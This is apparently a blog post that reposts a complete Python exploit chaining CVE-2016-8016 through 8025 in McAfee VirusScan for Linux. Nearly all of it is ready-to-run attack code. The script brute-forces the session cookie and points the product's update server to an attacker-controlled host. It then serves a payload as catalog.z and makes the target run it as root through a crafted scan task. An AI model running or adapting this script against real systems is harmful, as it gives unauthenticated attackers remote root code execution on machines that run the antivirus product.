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About this blog

Hacking techniques include penetration testing, network security, reverse cracking, malware analysis, vulnerability exploitation, encryption cracking, social engineering, etc., used to identify and fix security flaws in systems.

'''
Source: https://nation.state.actor/mcafee.html

Vulnerabilities

CVE-2016-8016: Remote Unauthenticated File Existence Test
CVE-2016-8017: Remote Unauthenticated File Read (with Constraints)
CVE-2016-8018: No Cross-Site Request Forgery Tokens
CVE-2016-8019: Cross Site Scripting
CVE-2016-8020: Authenticated Remote Code Execution & Privilege Escalation
CVE-2016-8021: Web Interface Allows Arbitrary File Write to Known Location
CVE-2016-8022: Remote Use of Authentication Tokens
CVE-2016-8023: Brute Force Authentication Tokens
CVE-2016-8024: HTTP Response Splitting
CVE-2016-8025: Authenticated SQL Injection
When chaned together, these vulnerabilities allow a remote attacker to execute code as root.
'''
#!/bin/python3
import time
import requests
import os
import sys
import re
import threading
import subprocess
from http.server import BaseHTTPRequestHandler, HTTPServer
from socketserver import ThreadingMixIn

# Per-target configuration
target_domain="https://10.0.1.130" # https://target_ip
local_ip = '10.0.1.128'                 # Attacker IP for victim to connect back to
authorized_ip="127.0.0.1"           # IP address cookie will be valid for
update_server_port = 8080               # Port update server listens on
delay_seconds = 10                      # How long should the server take to serve the update
target_port = 55443                 # Port to target

# Put payload script in payload.sh

# Initialization
payload_in_place = threading.Event()
requests.packages.urllib3.disable_warnings()
with open("payload.sh", "r") as f:
    payload = f.read()

def pprint(inp, flag=False):
    pad = "#"
    if flag:
        pad = "*"
    print("\n" + pad+ " " + inp)


def crack_cookie():
    pprint("Cracking Cookie")

    # A page that requires authentication
    url = target_domain + ":" + str(target_port) + "/0409/nails?pg=proxy&tplt=productUpdate.html"

    # Start at the current time + 100 in case of recent login with clock skew
    date_val = int(time.time()+100)
    cookie_fmt = authorized_ip+"/n/0/%d-checksum// "+authorized_ip + " "*20

    # Make requests, print after every 600
    while True:
        cookie = cookie_fmt % date_val
        req_cookie = {"nailsSessionId": cookie}
        r = requests.get(url, cookies=req_cookie, verify=False)
        r.raise_for_status()

        if "Set-Cookie" in r.headers:
            valid_cookie = cookie
            timestamp = cookie.split("/")[3].split("-")[0]
            break

        elif date_val % 600 == 0:
            print("Now trying  %s" % time.asctime(time.localtime(date_val)))

        date_val -= 1

    pprint("Cookie Cracked: " + timestamp, True)
    return valid_cookie


def update_update_server(auth_cookie):
    pprint("Updating update server")

    # Replace McAfeeHttp update server with attacker local_ip:update_server_port
    url = target_domain + ":" + str(target_port) + "/0409/nails?pg=proxy&addr=127.0.0.1%3A65443&tplt=" \
    "repository.html&sitelist=add&mon%3A0=db+set+1+_table%3Drepository+status%3D1+siteList%3D%253C%253F" \
    "xml%2520version%253D%25221.0%2522%2520encoding%253D%2522UTF-8%2522%253F%253E%250A%253Cns%253ASiteLists" \
    "%2520xmlns%253Ans%253D%2522naSiteList%2522%2520GlobalVersion%253D%2522PATTeELCQSEhZwxKf4PoXNSY4%2Fg%25" \
    "3D%2522%2520LocalVersion%253D%2522Wed%252C%252030%2520Dec%25202009%252011%253A20%253A59%2520UTC%2522%2" \
    "520Type%253D%2522Client%2522%253E%253CPolicies%2F%253E%253CSiteList%2520Default%253D%25221%2522%2520Na" \
    "me%253D%2522SomeGUID%2522%253E%253CHttpSite%2520Type%253D%2522repository%2522%2520Name%253D%2522McAfee" \
    "Http%2522%2520Order%253D%25221%2522%2520Server%253D%2522"+local_ip+"%253A"+str(update_server_port) \
    + "%2522%2520Enabled%253D%25221%2522%2520Local%253D%25221%2522%253E%253CRelativePath%2F%253E%253CUseAuth%" \
    "253E0%253C%2FUseAuth%253E%253CUserName%253E%253C%2FUserName%253E%253CPassword%2520Encrypted%253D%25220" \
    "%2522%2F%253E%253C%2FHttpSite%253E%253CFTPSite%2520Type%253D%2522fallback%2522%2520Name%253D%2522McAfe" \
    "eFtp%2522%2520Order%253D%25222%2522%2520Server%253D%2522ftp.nai.com%253A21%2522%2520Enabled%253D%25221" \
    "%2522%2520Local%253D%25221%2522%253E%253CRelativePath%253ECommonUpdater%253C%2FRelativePath%253E%253CU" \
    "seAuth%253E1%253C%2FUseAuth%253E%253CUserName%253Eanonymous%253C%2FUserName%253E%253CPassword%2520Encr" \
    "ypted%253D%25221%2522%253ECommonUpdater%40McAfeeB2B.com%253C%2FPassword%253E%253C%2FFTPSite%253E%253C%" \
    "2FSiteList%253E%253C%2Fns%253ASiteLists%253E+_cmd%3Dupdate+&mon%3A1=task+setsitelist&mon%3A2=db+select" \
    "+_show%3DsiteList+_show%3Dstatus+_table%3Drepository&info%3A2=multi%2Cshow&reposProperty=repository&re" \
    "posProperty=fallback&useOfProxy=on"

    r = requests.get(url, cookies=auth_cookie, verify=False)
    r.raise_for_status()
    pprint("Updated update server", True)

def download_update(req_cookie):
    pprint("Requesting target download payload")

    # Send request to make target download payload
    url = target_domain + ":" + str(target_port) + "/0409/nails"

    updateName = "update_%d" % int(time.time())
    postdata = ("pg=proxy&addr=127.0.0.1%3A65443&tplt=scheduledTasks.html&scheduleOp=add&mon%3A0=db+set+1+_tab" \
    "le%3Dschedule++taskName%3D{0}+taskType%3DUpdate+taskInfo%3DtoUpdate%3Ddat%253Bengine+timetable%3Dtype%" \
    "3Dunscheduled+status%3DIdle++i_recurrenceCounter%3D0+&mon%3A1=task+nstart+{0}&mon%3A2=db+select+_asc%3D" \
    "taskName+_table%3Dschedule+_show%3Di_taskId+_show%3DtaskName+_show%3DtaskResults+_show%3Dtimetable+_sh" \
    "ow%3DtaskType+_show%3DtaskInfo+_show%3Di_lastRun+_show%3D%24i_lastRun+_show%3Dstatus+_show%3Dprogress+" \
    "_show%3Di_nextRun+_show%3D%24i_nextRun+_show%3Di_duration+_show%3DtaskInfo++_limit%3D50+_offset%3D0&in" \
    "fo%3A2=multi%2Cshow&mon%3A3=db+select+_table%3Dschedule+_show%3Dcount%28*%29&info%3A3=multi%2Cshow&loc" \
    "%3A4=conf+get+browser.resultsPerPage&info%3A4=multi%2Cshow&mon%3A5=task+updatecrontab&info%3A5=multi%2" \
    "Cshow&echo%3A6=1&info%3A6=pageNo&echo%3A7=&info%3A7=selectedTask""").format(updateName)

    headers = {'Content-Type': 'application/x-www-form-urlencoded'}
    r = requests.post(url, data=postdata, cookies=req_cookie, verify=False, headers=headers)
    r.raise_for_status()

    pprint("Payload download requested", 1)


def exec_catalogz(req_cookie):
    pprint("Making target execute payload")

    #### Get commit_id and ODS_name
    url = target_domain + ":" + str(target_port) + "/0409/nails?pg=proxy&tplt=schedOnDemand.html&addr=127.0" \
    ".0.1:65443&mon:0=sconf+ODS+select+section%3Dnailsd.profile.ODS&info:0=multi,show,digest&echo:1=ODS&inf" \
    "o:1=profileName&mon:2=sconf+ODS+select+section%3Dnailsd.profile.ODS_default&info:2=multi,show&echo:3=O" \
    "DS_default&info:3=defaultProfileName&mon:4=sconf+ODS+select+attribute%3Dnailsd.oasEnabled&info:4=multi" \
    ",show&mon:5=extensions&info:5=multi,show&mon:6=db+select+_show=max(i_taskId)+_table=schedule&info:6=mu" \
    "lti,show&mon:7=utco&info:7=single,show,serverUtcOffset&echo:8=generate&info:8=profileNameAction"

    r = requests.get(url, cookies=req_cookie, verify=False)
    r.raise_for_status()

    regex = re.search("\|digest=(.+?)\|", r.text)
    if not regex:
        print("\nERROR: Could not get commit_id when generating evil scan\n")
        return False

    commit_id = regex.groups(1)[0]

    # Send request to start evil scan
    payload_path = "%2Fopt%2FMcAfee%2Fcma%2Fscratch%2Fupdate%2Fcatalog.z"
    binary_path = "%2Fbin%2Fsh" # Use "%2fbin%2Fstatic-sh" for versions 1.x

    url = target_domain + ":" + str(target_port) + "/0409/nails"

    ODS_name = "ODS_1"   # This may need to be increased if the name already exists
    scan_name = "scan_%s" % str(int(time.time()))

    postdata =  ("pg=proxy&addr=127.0.0.1%3A65443&tplt=scheduledTasks.html&mon%3A0=sconf+{1}+begin&info%3A0=" \
    "multi%2Cshow&mon%3A1=sconf+{1}+delete+{0}+section%3Dnailsd.profile.{1}.filter+section%3Dnailsd.prof" \
    "ile.{1}.action&mon%3A2=sconf+{1}+set+{0}+nailsd.profile.{1}.allFiles%3Dtrue+nailsd.profile.{1}.child" \
    "InitTmo%3D240+nailsd.profile.{1}.cleanChildren%3D2+nailsd.profile.{1}.cleansPerChild%3D10000+nailsd" \
    ".profile.{1}.datPath%3D%2Fopt%2FNAI%2FLinuxShield%2Fengine%2Fdat+nailsd.profile.{1}.decompArchive%3" \
    "Dtrue+nailsd.profile.{1}.decompExe%3Dtrue+nailsd.profile.{1}.engineLibDir%3D%2Fopt%2FNAI%2FLinuxShi" \
    "eld%2Fengine%2Flib+nailsd.profile.{1}.enginePath%3D{3}+nailsd.profile.{1}.factoryI" \
    "nitTmo%3D240+nailsd.profile.{1}.heuristicAnalysis%3Dtrue+nailsd.profile.{1}.macroAnalysis%3Dtrue+na" \
    "ilsd.profile.{1}.maxQueSize%3D32+nailsd.profile.{1}.mime%3Dtrue+nailsd.profile.{1}.noJokes%3Dfalse+" \
    "nailsd.profile.{1}.program%3Dtrue+nailsd.profile.{1}.quarantineChildren%3D1+nailsd.profile.{1}.quar" \
    "antineDirectory%3D%2Fquarantine+nailsd.profile.{1}.quarantineFromRemoteFS%3Dfalse+nailsd.profile.{1" \
    "}.quarantinesPerChild%3D10000+nailsd.profile.{1}.scanChildren%3D2+nailsd.profile.{1}.scanMaxTmo%3D3" \
    "00+nailsd.profile.{1}.scanNWFiles%3Dfalse+nailsd.profile.{1}.scanOnRead%3Dtrue+nailsd.profile.{1}.s" \
    "canOnWrite%3Dtrue+nailsd.profile.{1}.scannerPath%3D{4}+nailsd.profile.{1}.scansPerChild" \
    "%3D10000+nailsd.profile.{1}.slowScanChildren%3D0+nailsd.profile.{1}.filter.0.type%3Dexclude-path+na" \
    "ilsd.profile.{1}.filter.0.path%3D%2Fproc+nailsd.profile.{1}.filter.0.subdir%3Dtrue+nailsd.profile.{" \
    "1}.filter.1.type%3Dexclude-path+nailsd.profile.{1}.filter.1.path%3D%2Fquarantine+nailsd.profile.{1}" \
    ".filter.1.subdir%3Dtrue+nailsd.profile.{1}.filter.extensions.mode%3Dall+nailsd.profile.{1}.filter.e" \
    "xtensions.type%3Dextension+nailsd.profile.{1}.action.Default.primary%3DClean+nailsd.profile.{1}.act" \
    "ion.Default.secondary%3DQuarantine+nailsd.profile.{1}.action.App.primary%3DClean+nailsd.profile.{1}" \
    ".action.App.secondary%3DQuarantine+nailsd.profile.{1}.action.timeout%3DPass+nailsd.profile.{1}.acti" \
    "on.error%3DBlock&mon%3A3=sconf+{1}+commit+{0}&mon%3A4=db+set+{0}+_table%3Dschedule++taskName%3D{2}+" \
    "taskType%3DOn-Demand+taskInfo%3DprofileName%3D{1}%2Cpaths%3Dpath%3A%2Ftmp%3Bexclude%3Atrue+timetabl" \
    "e%3Dtype%3Dunscheduled+progress%3D+status%3DIdle+&mon%3A5=task+nstart+{2}&mon%3A6=db+select+_asc%3D" \
    "taskName+_table%3Dschedule+_show%3Di_taskId+_show%3DtaskName+_show%3DtaskResults+_show%3Dtimetable+" \
    "_show%3DtaskType+_show%3DtaskInfo+_show%3Di_lastRun+_show%3D%24i_lastRun+_show%3Dstatus+_show%3Dpro" \
    "gress+_show%3Di_nextRun+_show%3D%24i_nextRun+_show%3Di_duration+_show%3DtaskInfo++_limit%3D50+_offs" \
    "et%3D0&info%3A6=multi%2Cshow&mon%3A7=db+select+_table%3Dschedule+_show%3Dcount%28*%29&info%3A7=mult" \
    "i%2Cshow&mon%3A8=sconf+ODS+begin&info%3A8=multi%2Cshow%2Cdigest&mon%3A9=task+updatecrontab&info%3A9" \
    "=multi%2Cshow&loc%3A10=conf+get+browser.resultsPerPage&info%3A10=multi%2Cshow&echo%3A11=1&info%3A11" \
    "=pageNo&echo%3A12=&info%3A12=selectedTask").format(commit_id, ODS_name, scan_name,payload_path, binary_path)

    headers = {'Content-Type': 'application/x-www-form-urlencoded'}
    r = requests.post(url, data=postdata, cookies=req_cookie, verify=False, headers=headers)
    r.raise_for_status()

    pprint("Payload executed", 1)

def start_update_server():

    class RequestHandler(BaseHTTPRequestHandler):
        def do_HEAD(s):
            s.send_response(200)
            s.send_header("Content-type", "text/html")
            s.end_headers()

        def do_GET(s):
            if s.path == "/catalog.z":
                s.send_response(200)
                s.send_header("Content-type", "text/html")
                s.end_headers()
                s.wfile.write(bytes(payload, "utf-8"))

                pprint("Payload placed", 1)

                payload_in_place.set()

                # Die after sending payload so we send an incomplete response
                raise KillServer

            else: # Assume all other requests are for SiteStat - Always increasing version
                s.send_response(200)
                s.send_header("Content-type", "text/xml")
                s.end_headers()
                s.wfile.write(bytes(("""<?xml version="1.0" encoding="UTF-8"?>""" \
                """<SiteStatus Status="Enabled" CatalogVersion="2%d">""" \
                """ </SiteStatus>""") % int(time.time()), "utf-8"))

    # Throwing KillServer will shutdown the server ungracefully
    class KillServer(Exception):
        def __str__(self):
            return "Kill Server (not an error)"

    # ThreadingMixIn plus support for KillServer exceptions
    class AbortableThreadingMixIn(ThreadingMixIn):
        def process_request_thread(self, request, client_address):
            try:
                self.finish_request(request, client_address)
                self.shutdown_request(request)
            except KillServer:
                pprint("Killing update server dirtily")
                self.shutdown_request(request)
                self.shutdown() # Only if we want to shutdown
            except:
                self.handle_error(request, client_address)
                self.shutdown_request(request)


    class BackgroundHTTPSrv(AbortableThreadingMixIn, HTTPServer):
        pass

    pprint("Launching update server")

    srv = BackgroundHTTPSrv((local_ip, update_server_port), RequestHandler)
    threading.Thread(target=srv.serve_forever).start()

    pprint("Update server started", 1)
    return srv


####################################################################################
####################################################################################

pprint("Attacking %s" % target_domain, 1)

# Crack the auth cookie
cookie = crack_cookie()
auth_cookie = {"nailsSessionId": cookie}

# Start our update server locally
srv = start_update_server()

# Force target to use our update server
update_update_server(auth_cookie)

# Make target download an update from us
download_update(auth_cookie)

# Block until the target downloads our payload,
payload_in_place.wait()

# Shutdown our update server
srv.shutdown()

# Execute /bin/sh -(?) catalog.z
exec_catalogz(auth_cookie)